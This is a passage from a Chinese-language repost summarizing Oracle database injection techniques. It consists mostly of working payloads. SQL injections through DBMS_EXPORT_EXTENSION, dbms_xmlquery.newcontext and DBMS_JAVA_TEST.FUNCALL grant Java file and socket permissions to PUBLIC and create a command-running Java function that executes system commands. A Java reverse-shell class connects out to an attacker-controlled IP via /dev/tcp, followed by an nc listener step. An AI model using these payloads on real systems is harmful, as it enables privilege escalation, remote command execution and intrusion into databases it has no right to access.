  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

创建函数

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

赋予函数执行权限

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

执行系统命令

  1. select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

Oracle数据库注入方式总结 【转载】 - 图4

46a99a5f54c8a8cbadca2549dd53d9fe.png

dbms_xmlquery.newcontext()

•影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)•必须在DBMS_PORT_EXTENSION存在漏洞情况下,否则赋予权限时无法成功s

创建Java库

  1. select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

赋予当前用户Java权限

  1. --当前用户查看
  2. select user from dual
  3. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

通过以下命令可以查看all_objects内部改变:

  1. select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

image-20211006110557755

创建函数

  1. select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

判断是否创建成功

  1. select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

也可通过查看all_objects内部改变判断

  1. select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

Oracle数据库注入方式总结 【转载】 - 图5

image-20211006110714309

若想删除创建的函数,通过以下命令删除

  1. drop function LinxRunCMD

执行命令

  1. select LinxRunCMD('id') from dual

Oracle数据库注入方式总结 【转载】 - 图6

2849daa3c5c2ade13eb918a3ca0ad502.png

dbms_java_test.funcall()

•影响版本:10g R2, 11g R1, 11g R2•权限:Java Permissions

  1. Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;

执行时报如下错

Oracle数据库注入方式总结 【转载】 - 图7

5bf9bd61e8d2fa65abe45e7a3506eb08.png

但不影响命令的执行

Oracle数据库注入方式总结 【转载】 - 图8

image-20211006110810998

该方式无回显,在注入时不太方便利用,但可通过此方式反弹。

Java反弹Shell

在提权操作中如果遇到无回显情况,如上部分第三种方法,可以通过反弹shell的方式,在自己VPS上利用nc监听端口。以此来执行交互式执行命令(类似带外通信)。

编译payload

java源代码(linux系统的payload):

  1. import java.io.*;
  2. import java.net.*;
  3. public class shellRev
  4. {
  5. public static void main(String[] args)
  6. {
  7. System.out.println(1);
  8. try{run();}
  9. catch(Exception e){}
  10. }
  11. public static void run() throws Exception
  12. {
  13. String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
  14. Process p=Runtime.getRuntime().exec(aaa);
  15. }
  16. }
  17. #编译
  18. javac shellRev.java
  19. #执行
  20. java shellRev

使用Java执行

创建Java库

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual

赋予Java权限

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

创建函数

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

赋予函数执行权限

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

反弹shell

  1. select sys.reversetcp from dual

shell命令行输入:

  1. nc -vv -l p 8080

Oracle数据库注入方式总结 【转载】 - 图9